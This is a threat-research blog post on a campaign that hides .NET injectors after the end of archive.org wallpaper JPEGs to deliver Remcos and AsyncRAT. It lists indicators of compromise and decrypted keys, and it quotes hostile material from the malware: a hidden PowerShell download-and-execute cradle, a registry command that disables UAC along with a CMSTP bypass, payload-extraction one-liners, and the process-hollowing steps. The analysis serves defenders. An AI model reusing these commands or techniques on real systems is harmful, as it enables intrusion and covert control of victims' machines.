

Archive.org Stego Delivers Remcos and AsyncRAT

derp.ca/research/archive-org-stego-campaign

Kirk

February 28, 2026

[← All posts](#)

malware steganography remcos asyncrat archive-org reverse-engineering

In late February 2026, a cross-reference between URLhaus and Tria.ge sandbox data surfaced an active campaign abusing archive.org as a payload delivery platform. The operator hides .NET injector DLLs inside 4K wallpaper JPEGs using steganography. The images render normally in any viewer; the malicious payload sits after the JPEG end-of-file marker. A daily recompile-and-upload cycle distributes fresh payloads across four Gmail-linked archive.org accounts, delivering two RAT families in parallel: Remcos and AsyncRAT.

Discovery

Cross-referencing URLhaus malware distribution URLs with Tria.ge sandbox results on SHA256 hashes produced 54 matches. A host-level comparison flagged overlap on archive.org along with several other domains: [uploads.otzo.com](#), [sbstorage.cfd](#), [sunchernical.com](#), [umxtxhub.za.com](#), [excellence02.rf.gd](#), [yaso.su](#), [pastefy.app](#), and [fil.ydns.eu](#).

The archive.org overlap led to the stego campaign documented here. The other host overlaps were unrelated -- Mirai botnets, Quasar variants with DGA domains, and similar commodity malware.

Steganography technique

The carrier images are 3840x2160 JPEG wallpapers. The malicious payload sits after the JPEG EOF marker (**FF D9**) at byte offset 1,390,750. Everything before that offset is a standard JPEG. Everything after it is a base64-encoded .NET DLL wrapped in text delimiters.

We observed two encoding formats across the five-day campaign window. The operator changed formats after the first day:

Format 1 (Feb 24 only): The payload is framed between **BaseStart-** and **-BaseEnd** markers. A regex match extracts the base64 content between them.

Format 2 (Feb 25 onward): The framing changes to **IN-** at the start and **==in1** at the end. Same extraction logic, different markers.

The dropper downloads the image via `WebClient.DownloadData()`, extracts the base64 block by regex, and loads the assembly via `[Reflection.Assembly]::Load()`:

```
# Format 1 (Feb 24)
[regex]::Match($imageData, 'BaseStart-(.*?)-BaseEnd').Groups[1].Value | base64 -d
# Format 2 (Feb 25+)
[regex]::Match($imageData, 'IN-(.*?)-in1').Groups[1].Value | base64 -d
```

Date	SHA256	Size	VT	Stego Format
Feb 24	1cf18efac5c0fddc935dc7e588309c7d7fe4ca719dac9334420afc9ac8b45d4d	744,960 B	44/76	BaseStart/BaseEnd
Feb 25	4b62cbdbfe44401685ac3db7d9e6b41b1e41dbd07f8435d6535a3bef36cefd16	758,272 B	31/76	IN/in1
Feb 26	9005deed14fb0fa861a3ae3cc1d23f35131a6f809d18640f21a64097f178697a	1,206,784 B	37/76	IN/in1

Date	SHA256	Size	VT	Stego Format
Feb 27-28	124e12c7d6ab6a51c38c2f69dc4eb68587aa5d985c1d724a20c1d0c3458ca29b	1,573,888 B	41/76	IN/in1

The Feb 24 payload has a VirusTotal first-seen date of Feb 19 – five days before the first archive.org upload. Payload sizes increase from 745 KB to 1.6 MB across the four builds. The Feb 24/25 DLLs use a simpler ConfuserEx configuration with cleartext parameter names in the **Main** method signature. The Feb 26 build jumps to 1.2 MB with a 295 KB ConfuserEx string encryption pool. The Feb 27/28 build adds seven resources including an RSA-1024 public key and proxy-delegate obfuscation.

All four DLLs masquerade as **Microsoft.Win32.TaskScheduler.dll** (v2.12.2.0, .NET Framework 4.5), preserving the legitimate library's assembly metadata alongside the injected malicious classes. The injection framework namespace **HackForums.gigajew.Mandark** is left intact in all four builds. DrWeb classifies all four as **Trojan.InjectNET.14**. The full injector teardown is in the section below.

Upload infrastructure

Four Gmail accounts upload stego images to archive.org. 19 uploads over Feb 24-28:

Account	Uploads	Dates
sandra.rabanaster@gmail.com	1	Feb 25
wins1805ok@gmail.com	5	Feb 26-27
558714job@gmail.com	8	Feb 24-28
jessicaleite0809198675@gmail.com	5	Feb 24-28

Timestamps are embedded in item identifiers (YYYYMMDD_HHMM format). The same payload gets uploaded from different accounts on the same day. Subject tags are gibberish strings: **abbas982fdfsdfs**, **abdsuids98798fdwfjkf**, **novalojatudonovosjacacar**.

jessicaleite is a common Portuguese/Brazilian surname. The tag **novalojatudonovosjacacar** is Portuguese ("nova loja tudo novos jacarandá").

Kill chain 1: Remcos v7.1.0 Pro

Triage sample **260227-vh8g9shw5e** fetches the Feb 26 stego image from archive.org and delivers Remcos RAT.

Dropper

Field	Value
SHA256	eae6a4c5d87b8cf77b73626857ce4ace839e9edfb20ce72c46d162156be140cf
Filename	CopilotDrivers.js
Family	Remcos
Score	10/10
VT	11/76

Copilot-themed: dropper name, C2 domain, keylog folder, and copy filename all match.

Execution flow

wscript.exe spawns hidden PowerShell, which fetches the stego JPEG from archive.org via WebClient.DownloadData(), extracts the base64 payload with regex IN-(.*)-in1, and loads the resulting .NET DLL (1.2 MB) via [Reflection.Assembly]::Load().

The entry point [Software.Program].GetMethod("Main") takes 19 base64-encoded config arguments. Only the core download-and-execute path is enabled; all persistence, VM detection, and UAC bypass toggles are disabled.

The injector fetches a second stage from msidownloads.duckdns.org, then process-hollows Remcos into MSBuild via HackForums.gigajew.Mandark.

```
CopilotDrivers.js
→ wscript.exe → PowerShell (hidden window)
→ WebClient.DownloadData("http://archive.org/download/optimized_msi_20260226_1507/optimized_MSI.png")
→ Regex 'IN-(.*)-in1' → base64 decode
→ [Reflection.Assembly]::Load() → Microsoft.Win32.TaskScheduler.dll (1.2MB)
→ [Software.Program].GetMethod("Main").Invoke(19 config args)
→ Stage 2: GET http://msidownloads.duckdns.org/Nueva%20carpeta/Copi.txt
→ MSBuild LOLBin (C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSbuild.exe)
→ Process hollowing (x86) → Remcos 7.1.0 Pro → systemcopilotdrivers.ydns.eu:3001
```

Extracted Remcos configuration

Field	Value
C2	systemcopilotdrivers.ydns.eu:3001
Version	7.1.0 Pro
Botnet	Tar1
Mutex	Rmc-1SEM73
Keylog folder	Copilotdrivers
Copy file	remcos.exe
Screenshot	Disabled
Keylogging	Active -- offline mode

Keystrokes are written to logs.dat in Copilotdrivers under %AppData%. A memory dump confirms the keylogger initialised during execution:

```
[2026/02/27 17:00:51 Offline Keylogger Started]
[Program Manager]
```

This timestamp comes from the sandbox run, not a live victim -- but it confirms the keylogger activates immediately on execution despite keylog_flag: false in the static config. Dropper obfuscation details and the full 19-parameter config are in the section.

Kill chain 2: AsyncRAT v1.0.7

Triage sample 269227-vftakaht4g fetches the Feb 27 stego image. Same operator, same delivery pipeline, different RAT.

Dropper

Field	Value
SHA256	9a7153d921414cf235936c00352f7a54ebedd0c131314382099d85acd83b286c
Filename	WMIEventLogs.js
Family	AsyncRAT
Score	10/10
VT	11/76

This chain mimics Windows system services -- **WMIEventLogs** for the dropper, **securityhealthservice** for the C2 domain.

Execution flow

Same pipeline as kill chain 1. Stage 2 URL points to **vm.txt** instead of **Copi.txt**; the injector DLL is 1.5 MB.

```
WMIEventLogs.js
→ wscript.exe → PowerShell (hidden window)
→ WebClient.DownloadData("http://archive.org/download/optimized_msi_20260227_1420/optimized_MSI.png")
→ Regex 'IN-(.*?)-in1' → base64 decode
→ [Reflection.Assembly]::Load() → Microsoft.Win32.TaskScheduler.dll (1.5MB)
→ [Software.Program].GetMethod("Main").Invoke(19 config args)
→ Stage 2: GET http://msidownloads.duckdns.org/Nueva%20carpeta/vm.txt
→ MSBuild LOLBin (C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSbuild.exe)
→ Process hollowing (x86) → AsyncRAT 1.0.7 → securityhealthservice.ydns.eu:1000
```

Extracted AsyncRAT configuration

Field	Value
C2	securityhealthservice.ydns.eu:1000
Version	1.0.7
Botnet	Oct Respaldo
Mutex	0IdsnjfjduUydsdbUDkf
AES Key	wvCB5zFw6vQWEsM0AUhXP9aCHFqJpSAu
Install	Disabled (fileless)

ThreatFox records show **securityhealthservice.ydns.eu** first appeared October 7, 2025 as a DCRat C2, later repurposed for AsyncRAT. Install mode is disabled; the 1-minute re-execution interval (**executionIntervalMinutes = 1**) re-downloads and re-injects on a loop. The 19-parameter config is identical to kill chain 1 except **encodedPayloadUrl** (**vm.txt** vs **Copi.txt**). Full comparison in .

Kill chain 2b: alternate staging

A second AsyncRAT dropper shares the same RAT configuration but uses a different payload delivery host.

Field	Value
SHA256	ef3642f0f0ac54e1f99126563cc742c212977aae2ec3f3ce2583bf6589f425d5
Filename	WMIEventLogs.js
Score	10/10
VT	9/76

This variant downloads from hostphpwindowsapps.ydns.eu:8011 (46.246.80.9 -- FrootVPN, Glesys AB, AS42708) instead of archive.org.

```
WMIEventLogs.js
→ PowerShell (hidden window)
→ GET http://hostphpwindowsapps.ydns.eu:8011/data/optimized_MSI.png
→ Strip IN-/--in1 markers, base64 decode (same stego format)
→ [Reflection.Assembly]::Load() (.NET reflective loading)
→ Stage 2: GET http://msidownloads.duckdns.org/Nueva%20carpeta/vm.txt
→ MSBuild LOLBin execution
→ Drop to C:\Users\Public\Downloads\ + scheduled task persistence
→ AsyncRAT 1.0.7 → securityhealthservice.ydns.eu:1000
```

Differences from the primary chain: reflective assembly loading instead of process hollowing, scheduled task persistence enabled, and RAT dropped to <C:\Users\Public\Downloads> rather than injected in-memory.

PCAP analysis

Both kill chains fetch a second stage from msidownloads.duckdns.org/Nueva%20carpeta/:

Chain	URL Path	Content-Length	Last-Modified
Remcos	/Nueva%20carpeta/Copi.txt	97,280 bytes	Jan 24, 2026
AsyncRAT	/Nueva%20carpeta/vm.txt	97,280 bytes	Jan 24, 2026

Both files are 97,280 bytes of null bytes -- no PE header, no payload. The Jan 24 Last-Modified date (a month before analysis) suggests the actual payloads were swapped out. The RATs executed regardless. Initial injection is from the stego payload; stage 2 is a 60-second re-infection loop (parameter 12).

Staging server fingerprint

Header	Value
Server	Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
IP	181.206.158.190
Port	80

<181.206.158.190> (Colombia Movil / Tigo, AS27831) -- the same IP that hosts both RAT C2 endpoints.

Shared infrastructure

Component	Kill chain 1 (Remcos)	Kill chain 2 (AsyncRAT)	Kill chain 2b (alternate)
Dropper format	JavaScript (.js)	JavaScript (.js)	JavaScript (.js)
Stego host	archive.org	archive.org	hostphpwindowsapps.ydns.eu:8011
Stego format	IN- + base64 + ==-in1	IN- + base64 + ==-in1	IN- + base64 + ==-in1
Injector DLL	Microsoft.Win32.TaskScheduler.dll	Microsoft.Win32.TaskScheduler.dll	Microsoft.Win32.TaskScheduler.dll
Injection technique	Process hollowing (Mandark RunPE)	Process hollowing (Mandark RunPE)	Reflective assembly loading
LOLBin	MSBuild	MSBuild	MSBuild
Staging domain	msidownloads.duckdns.org	msidownloads.duckdns.org	msidownloads.duckdns.org
Staging IP	181.206.158.190	181.206.158.190	181.206.158.190
C2 DNS provider	YDNS (.ydns.eu)	YDNS (.ydns.eu)	YDNS (.ydns.eu)
C2 IP	181.206.158.190	181.206.158.190	181.206.158.190
Social engineering theme	Microsoft Copilot	Windows system services	Windows system services
Predecessor	--	DCRat (same domain, Oct 2025)	--

Before executing, both chains drop a test .ps1 file (# PowerShell test file to determine AppLocker lockdown mode) to probe for Constrained Language Mode.

Port allocation on 181.206.158.190

Port	Service	Purpose
80	Apache/2.4.58 (Win64) + PHP 8.1.25	Stage 2 file hosting (msidownloads.duckdns.org)
1000	AsyncRAT C2	securityhealthservice.ydns.eu -- botnet Oct Respaldo
3001	Remcos C2	systemcopilotdrivers.ydns.eu -- botnet Tar1

.NET injector analysis

All four extracted DLLs share the same injector framework. The source was a GitHub repository gigajew/Mandark (since deleted), advertised on HackForums by user gigajew (UID 537383) as "Tiny 64-bit RunPE written in C#". The operator never stripped the namespace from any build.

DLL masquerade

The injector masquerades as `Microsoft.Win32.TaskScheduler` (v2.12.2.0, .NET Framework 4.5). The legitimate library's assembly metadata and `RepositoryUrl` (<https://github.com/dahall/taskscheduler>) are preserved alongside the malicious classes (`Mandark`, `VirtualMachineDetector`, `Software.Program`).

Process hollowing

`Mandark::Load(byte[], string, string)` performs RunPE process hollowing via `P/Invoke`:

API Call	Purpose
<code>CreateProcess (CREATE_SUSPENDED)</code>	Launch MSBuild in suspended state
<code>ZwUnmapViewOfSection</code>	Unmap legitimate PE image
<code>VirtualAllocEx</code>	Allocate memory for RAT payload
<code>WriteProcessMemory</code>	Write RAT binary into allocated space
<code>GetThreadContext / SetThreadContext</code>	Redirect entry point
<code>ResumeThread</code>	Resume execution as RAT

All four DLLs also contain a `VirtualMachineDetector` class (disabled in this deployment); detection strings are in the section.

19-parameter Main signature

The Feb 24 and Feb 25 builds preserve cleartext parameter names on the `Software.Program::Main` entry point, revealing the full loader configuration schema:

```
Main(encodedPayloadUrl, enableRegistryStartup, vbScriptPath, vbScriptName,
      dotNetClrPath, nativeLibraryPath, nativeLibraryName, enableTaskPersistence,
      downloadUrl, saveDirectory, outputFileName, fileExtension,
      executionIntervalMinutes, enableStartupTask, scheduledTaskName,
      enableVmDetection, enableUacBypass, uacPayloadUrl, uacCommand)
```

The Feb 24/25 DLLs also contain a method with Portuguese parameter names:

`Microsoft.Win32.TaskScheduler.Class15::VerificarMinutos(minutos, url, caminho, nomedoarquivo, extenção, taskname).caminho = path, nomedoarquivo = filename, extenção = extension` (misspelled -- the correct Portuguese is `extensão`), `VerificarMinutos = VerifyMinutes`.

Outer resource decryption

Feb 24 and Feb 25 builds

The Feb 24 and Feb 25 DLLs are the simpler builds (~750 KB each). Each contains a single private resource -- `rnWcs` (Feb 24) and `PmtjV` (Feb 25) -- both 21,939 bytes, AES-CBC encrypted.

The resource binary layout is:

```
[uint16 dataLen][dataLen XOR'd bytes][byte xorKeyLen][xorKey bytes][AES payload]
```

Decryption proceeds in two stages. First, `dataLen` bytes are XOR'd with a repeating key to produce a cleartext header. It contains a license string, boolean flags, a cipher selector byte, and the raw AES key bytes. The XOR key doubles as the AES IV.

Second, the remaining bytes are decrypted using the selected cipher. The DLL supports six modes:

ID	Cipher
1	DES
2	AES
3	3DES
4	Rijndael
5	RC2
6	Custom

Decrypted keys (both builds use AES, ID 2):

Build	AES Key	IV	License
Feb 24	f2a774d6cb890427388c70259195a589321c330039af17e4027194d30097ed00	375be9f2fbdf66a3858de805930d6230	1ic28153E
Feb 25	c919c93f603fcac19b0dcb2a2c2eafedb3e6d44d595f14e33b81d6de3b3175a5	95aa4d3d03852bd25c1e60f87df7506f	1ic28153E

The decrypted payload is 21,860 bytes: a 356-byte config prefix followed by a 21,504-byte embedded .NET DLL.

Feb 26 build

The Feb 26 DLL (1.2 MB) switches from the commercial obfuscator to ConfuserEx. It contains 4 resources -- a 295 KB string pool, a BMP, and two .NET resource files. Class names change from empty strings to randomised alphanumeric identifiers. The size jump (758 KB to 1.2 MB) is ConfuserEx string pool overhead.

Feb 27/28 build

The Feb 27/28 DLL (1.6 MB) contains 7 resources:

Resource	Size	Purpose
WUyV7y8UR8NrTjFLip	256 B	RSA-1024 public key (AES-encrypted)
SW2uFHWrwK3KrTVVv8	295 KB	ConfuserEx string encryption pool
1fHDJxwuxYvADREhiH	5.7 KB	ConfuserEx string method data
ZQiItFEgTvnyX44NB1	15 KB	Config data (proxy-delegate obfuscated)

The RSA resource (256 bytes) is encrypted with AES-256-CBC. The 32-byte key is constructed inline in IL through 109 arithmetic operations -- no byte array literal to pattern-match. We extracted the key by tracing IL manually:

- AES key: 5930640581a9e3de1ffb9377e461aa1b17a6b17a20775977eb9fc0d553f7f978
- AES IV: 55d9d5a0d8c6783d2671cdf870b25720

The decrypted content is an RSA-1024 XML public key in .NET `RSAPublicKey` format (exponent `AQAB`, 1024-bit modulus). Its purpose is unclear from these builds alone -- possibly payload verification or encrypted config delivery.

Inner DLL teardown

The decrypted outer resource from the Feb 24 and Feb 25 builds contains a 356-byte table-of-contents header followed by a 21,504-byte .NET DLL. The TOC header stores four obfuscated resource names, a XOR'd `int32` DLL size field, and metadata flags. The inner DLL is a resource-only assembly -- no executable code. It carries four CLR resource entries that the outer DLL's runtime resolver loads via `AppDomain Hashtables` keyed by integer index:

Entry	Feb 24 Name	Feb 25 Name	Size	Content
0	--	--	4,859 B	<code>.resources</code> metadata (<code>BEEFCAFE</code> magic)
1	--	--	822 B	BMP icon image
2	<code>azwP</code>	<code>zPMq</code>	~13.3 KB	Config string table (encrypted + compressed)
3	<code>NDhtd</code>	<code>rRkmt</code>	616-698 B	String index lookup table (compressed)

Resource name obfuscation

The resource names are stored in the 356-byte TOC header prepended to the inner DLL. Each name is obfuscated using a per-build Unicode block and XOR key:

- **Feb 24:** Tibetan block (U+0F00), XOR key `0x38`
- **Feb 25:** Thai block (U+0E00), XOR key `0x09`

Custom deflate compression

Resources 2 and 3 are compressed with a non-standard Huffman implementation that modifies RFC 1951 DEFLATE's canonical code length ordering and bit reader. Incompatible with `zlib`, `gzip`, and raw DEFLATE decoders.

We bypassed the custom compression via Mono reflection: load the inner DLL, scan for `static` methods with a `Stream-Stream` signature, invoke each candidate. Tokens `0x06000B69` (Feb 24) and `0x06000B6B` (Feb 25) succeeded:

```
Assembly asm = Assembly.LoadFrom(dllPath);
foreach (Type t in asm.GetTypes())
    foreach (MethodInfo m in t.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic))
    {
        var parms = m.GetParameters();
        if (parms.Length == 1 && parms[0].ParameterType == typeof(Stream) && m.ReturnType == typeof(Stream))
        {
            using (var input = new MemoryStream(resData))
            {
                Stream result = (Stream)m.Invoke(null, new object[] { input });
                if (result?.Length > 0) { /* write output */ }
            }
        }
    }
}
```

The harness discovers methods by signature, not hardcoded token.

Decrypted string table

Resource 2 (`azwP` / `zPMq`) decompresses from ~13.3 KB to ~216 KB (16:1 ratio). The data contains 1,179-1,181 length-prefixed strings in `BinaryReader.ReadString()` format.

The strings are shuffled differently between the Feb 24 and Feb 25 builds -- the same strings appear at different indices -- but the content is identical. This per-build shuffling is part of the obfuscator's polymorphic engine: each recompilation produces a new string ordering and a corresponding new index table.

String #62 is a 193 KB junk padding block: 2,472 repetitions of Unicode decoy strings like `this.supportableness += "0 ..."`. That accounts for ~89% of the decompressed resource. The remaining ~1,180 strings contain the injector configuration.

Decrypted index table

Resource 3 (`NDhtd / rRkmt`) decompresses to 780-1,016 bytes of XOR-encoded `int32` values mapping runtime string requests to physical indices in the shuffled table. The CFF dispatcher XOR-decodes each index at runtime.

XOR masks: `0x38cfa900` (Feb 24), `0x677c8800` (Feb 25). Masks are in the outer DLL's CFF dispatcher, not the inner DLL.

The trailing 32 bytes contain four IEEE 754 doubles: `31.0` (default `executionIntervalMinutes`), `0.0`, `1.0`, `2.0` (boolean flags and loop counters).

Config string table

After stripping 193 KB of junk padding (string #62), the remaining ~1,180 strings map the injector's capabilities.

UAC bypass -- CMSTP technique

1. Disable UAC via registry: `cmd /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f`
2. Execute CMSTP with a crafted INF file: `cmstp.exe /au "<inf_path>"` -- the INF file uses a `CorpVPN` service name with a `LINE` command placeholder that receives the actual command to execute
3. Clean up the CMSTP process: `taskkill /IM cmstp.exe /F`

Portuguese status messages: `Bypass executado com sucesso!` and `Erro ao executar o bypass.`

Persistence -- three mechanisms

1. Registry Run key

`SOFTWARE\Microsoft\Windows\CurrentVersion\Run` entry. Target path and name via `enableRegistryStartup` parameters.

2. Scheduled task

The full `Microsoft.Win32.TaskScheduler` library (v2.12.2) is embedded in the DLL. Tasks are created with the description `Baixar e executar o PuTTY a cada 1 minuto indefinidamente` -- Portuguese for "Download and run PuTTY every 1 minute indefinitely." The `PuTTY` reference is a placeholder name that was never updated for this campaign.

3. PowerShell download cradle

A hidden PowerShell process downloads and executes a payload:

```
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri '<URL>' -OutFile '<PATH>'; Start-Process '<PATH>' -WindowStyle Hidden"
```

Anti-VM detection

WMI queries:

- `Win32_ComputerSystem`
- `Win32_BIOS`
- `Win32_DiskDrive`
- `Win32_PnPEntity`
- `Win32_NetworkAdapterConfiguration`
- `Win32_MotherboardDevice`

Hypervisor-specific indicators:

Platform	Process/Service/Hardware Strings
VMware	vmware, vmware pointing device, vmware sata, vmware svga, vmware usb pointing device, vmware vmci bus device, vmware virtual s scsi disk device, vmtools, vmusrvc
VirtualBox	VirtualBox, vbox, vboxservice
QEMU	QEMU, qemu -- plus MAC fingerprint 52:54:00:4A:04:AF (QEMU/KVM OUI)
Hyper-V	Microsoft Hyper-V
Virtual PC	Microsoft Virtual PC, vpcmap

Detection triggers produce messages in the format: Detected as virtual machine given {key} information. where {key} is one of computer, bios, hard disk, PnP devices, processes, or Windows services.

Process injection APIs

The Win32 API names for process hollowing are base64-encoded in the string table. At runtime, the injector resolves them via LoadLibraryA/GetProcAddress:

Encoded	Decoded
a2VybmVsMzI=	kernel32
UmVzdW1lVGhyZWFK	ResumeThread
R2V0VGhyZWFKQ29udGV4dA==	GetThreadContext

The remaining hollowing APIs (CreateProcess, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext) use P/Invoke. Portuguese error strings for API resolution failures: Falha em LoadLibraryA para '{0}' (Win32Error {1}) and Falha em GetProcAddress para '{0}' na '{1}' (Win32Error {2}).

Download URLs and output paths are runtime parameters from the outer DLL's Main arguments. C2 addresses reside in the RAT payload config, not the injector.

Dropper script decode

Obfuscation

- Variable names:** \$catastrophal, \$quantifications, \$flaccidness, \$strepsorhine.
- URL encoding:** Payload URL stored reversed with t replaced by #. \$semCerquilha (Portuguese: "without hash") handles the reversal.
- Config delivery:** 19 parameters packed into a base64-encoded CSV, split and trimmed at runtime.

Decoded 19-parameter config

#	Parameter	Remcos Value	AsyncRAT Value
0	encodedPayloadUrl	http://msidownloads.duckdns.org/Nueva%20carpeta/Copi.txt	http://msidownloads.duckdns

#	Parameter	Remcos Value	AsyncRAT Value
1	<code>enableRegistryStartup</code>	(empty -- disabled)	(empty -- disabled)
2	<code>vbScriptPath</code>	<code>C:\Users\Public\Downloads\</code>	<code>C:\Users\Public\Downloads\</code>
3	<code>vbScriptName</code>	<code>Name_File</code>	<code>Name_File</code>
4	<code>dotNetClrPath</code>	<code>Msbuild</code> (LOLBin)	<code>Msbuild</code> (LOLBin)
5	<code>nativeLibraryPath</code>	(empty -- disabled)	(empty -- disabled)
6	<code>nativeLibraryName</code>	<code>Msbuild</code>	<code>Msbuild</code>
7	<code>enableTaskPersistence</code>	(empty -- disabled)	(empty -- disabled)
8	<code>downloadUrl</code>	URL (placeholder)	URL (placeholder)
9	<code>saveDirectory</code>	<code>C:\Users\Public\Downloads\</code>	<code>C:\Users\Public\Downloads\</code>
10	<code>outputFileName</code>	<code>Name_File</code>	<code>Name_File</code>
11	<code>fileExtension</code>	<code>js</code>	<code>js</code>
12	<code>executionIntervalMinutes</code>	<code>1</code>	<code>1</code>
13	<code>enableStartupTask</code>	(empty -- disabled)	(empty -- disabled)
14	<code>scheduledTaskName</code>	<code>Task_Name</code>	<code>Task_Name</code>
15	<code>enableVmDetection</code>	<code>0</code> (disabled)	<code>0</code> (disabled)
16	<code>enableUacBypass</code>	(empty -- disabled)	(empty -- disabled)
17	<code>uacPayloadUrl</code>	(empty)	(empty)
18	<code>uacCommand</code>	(empty)	(empty)

Only the core download-and-execute path is active. Parameters 1, 5, 7, 13, 15, 16, 17, and 18 are empty or `0` -- all persistence, VM detection, and UAC bypass features are disabled. `vbScriptName`, `outputFileName`, and `scheduledTaskName` retain framework defaults (`Name_File`, `Task_Name`). Persistence is delegated to the RAT payloads.

Operator profile

The same operator runs Remcos, AsyncRAT, and previously DCRat through a shared delivery pipeline with over 10 months of continuous activity from a Colombian residential IP address.

Geographic and linguistic indicators

- **Botnet name:** "Oct Respaldo" -- "Respaldo" is Spanish for "backup"; "Oct" matches the October 2025 registration date of the C2 domain
- **Staging URL path:** `Nueva carpeta` (Spanish: "new folder")
- **C2 IP:** `181.206.158.190` -- Colombia Movil (Tigo), AS27831
- **VPN passive DNS:** `46.246.80.9` has resolved 45 DDNS domains. Notable entries:
 - `androidmedallo` -- "Medallo" is Medellin slang
 - `dianganadores` -- references the Colombian tax agency (DIAN)
 - `cooempresaslttda`

- **Domain migration:** [securityhealthservice.ydns.eu](#) was a DCRat C2 (ThreatFox, October 2025), later repurposed for AsyncRAT

Primary C2 -- 181.206.158.190

Field	Value
ASN	AS27831 -- Colombia Movil (Tigo Colombia)
Country	Colombia
First ThreatFox activity	April 2025 (DCRat)
RAT families observed	DCRat (Apr 2025+), Remcos (Jun 2025+), AsyncRAT (Feb 2026)
Infrastructure	Apache/2.4.58 (Win64) with OpenSSL/3.1.3 and PHP/8.1.25

Dropper staging -- 46.246.80.9

Field	Value
ASN	AS42708 -- Glesys AB (Sweden)
Hosting provider	FrootVPN (Swedish VPN service)
VT reputation	-2 (10/93 vendors flag as malicious)
Passive DNS	45 DDNS domains have resolved to this IP
Communicating malware families	AsyncRAT, njRAT, DCRat, WSH RAT, Snake Keylogger

Notable passive DNS entries:

Domain	Date	Notes
hostphpwindowsapps.ydns.eu	2026-02-27	AsyncRAT stego staging (this campaign)
mastermontreal.duckdns.org	2025-01-02	DuckDNS
millonarios2024.duckdns.org	2024	Spanish: "millionaires"
dianganadores.duckdns.org	2024	Spanish: "DIAN winners" (Colombian tax agency)
nuevosecua.duckdns.org	2024	Spanish: "new Ecuador"
androidmedallo.duckdns.org	2024	"Medallo" = Medellín, Colombia slang

C2 domains

Domain	Port	Current use	ThreatFox first seen	Resolves to
systemcopilotdrivers.ydns.eu	3001	Remcos C2	Feb 5, 2026	181.206.158.190
securityhealthservice.ydns.eu	1000	AsyncRAT C2 (prev. DCRat)	Oct 7, 2025	181.206.158.190
hostphpwindowsapps.ydns.eu	8011	AsyncRAT stego staging	Not listed	46.246.80.9

Operator evolution timeline

Apr 2025	DCRat on 181.206.158.190 (Colombia Movil)
Jun 2025	+ Remcos on same IP
Oct 2025	securityhealthservice.ydns.eu registered (DCRat → later AsyncRAT)
Feb 5 2026	systemcopilotdrivers.ydns.eu registered (Remcos)
Feb 19	Feb 24 injector DLL first seen on VT (pre-deployment testing)
Feb 24	First archive.org stego upload (BaseStart format, 2 accounts)
Feb 25	Format change to IN-/--in1, 4th Gmail account used
Feb 26-27	Daily payload rotation, both Remcos + AsyncRAT active
Feb 28	Same payload re-uploaded from 2 accounts (no rotation today)

IOC summary

Hashes, C2 domains, IPs, and operator accounts are in the tables throughout the sections above. The following IOCs are not consolidated elsewhere.

Steganography payload URLs

- http://archive.org/download/0225-r/0225R.png
- http://archive.org/download/optimized_msi_20260226_1507/optimized_MSI.png
- http://archive.org/download/optimized_msi_20260227_1420/optimized_MSI.png
- http://hostphpwindowsapps.ydns.eu:8011/data/optimized_MSI.png

Mutexes

Mutex	Family
Rmc-1SEM73	Remcos
OIdsnjfjduUydsdbUDkf	AsyncRAT

Conclusion

Archive.org's trusted-domain status, persistent uploads, and lack of content scanning make it an effective staging platform. Daily rotation across four accounts provides redundancy against takedowns.

See also: [Remcos Banking Fraud via Three Autolt Persistence Chains](#).

K

Kirk

I like the internet. Want to get in touch?